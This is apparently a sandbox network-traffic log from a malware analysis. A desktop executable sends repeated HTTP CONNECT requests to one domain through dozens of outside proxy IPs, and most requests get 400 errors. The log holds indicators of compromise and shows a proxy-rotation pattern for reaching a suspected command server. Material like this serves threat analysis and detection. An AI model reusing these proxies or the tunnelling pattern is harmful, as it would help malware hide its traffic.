Mar 11, 2024 15:21:01.991437912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.622025013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.481399059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.325460911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.825809002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.340756893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.825417042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.825479984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:36.637541056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.9	50003	220.248.70.237	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.992130995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.391575098 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.9	50144	199.102.106.94	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.992130995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.9	50119	72.206.181.123	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.992161036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.9	50063	181.212.136.34	48993	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.992332935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.653274059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.575151920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.590955973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.294874907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.997432947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700679064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.091012955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.903145075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.9	50247	162.159.242.109	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.992882967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.154088020 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.9	50252	104.25.135.170	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.993058920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.147404909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.9	50088	211.222.252.187	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.994182110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.9	50221	5.78.65.91	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.996361971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.301561117 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.9	50269	104.25.108.120	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.997277975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.151560068 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.9	50099	47.242.15.120	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.000868082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.9	50091	58.234.116.197	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.005805016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.9	50283	172.67.181.149	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.022718906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.177222013 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.9	50292	104.24.136.68	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.022792101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.177158117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.9	50107	45.181.123.151	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.023106098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.347919941 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.9	50123	8.217.44.229	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.033467054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.9	49885	69.61.200.104	36181	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.033467054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.9	50182	24.249.199.12	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.041806936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.9	50200	174.64.199.82	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.045691967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.9	50138	8.217.143.187	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.048985004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.9	50303	104.17.66.69	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.058039904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.212563038 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.9	50287	104.37.135.145	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.060627937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.9	50243	74.119.144.60	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.064466000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.9	50555	43.153.174.106	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.069643021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.9	50558	43.153.174.106	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.071605921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.9	50563	43.153.174.106	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.074587107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.9	50567	43.153.174.106	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.077830076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
